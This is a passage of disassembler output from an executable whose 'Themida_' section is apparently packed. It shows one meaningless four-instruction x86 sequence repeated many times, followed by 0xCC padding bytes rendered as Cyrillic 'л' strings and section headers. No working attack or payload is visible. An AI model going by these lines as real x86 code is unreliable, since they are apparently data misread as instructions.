add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc cl, ah
; ---------------------------------------------------------------------------
db 7A0h dup(0CCh)
asc_616C4E db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
; DATA XREF: ___:off_445304o
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллл',0
align 1000h
Themida_ ends
; Section 5. (virtual address 00219000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00219000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 619000h
align 2000h
_idata2 ends
end start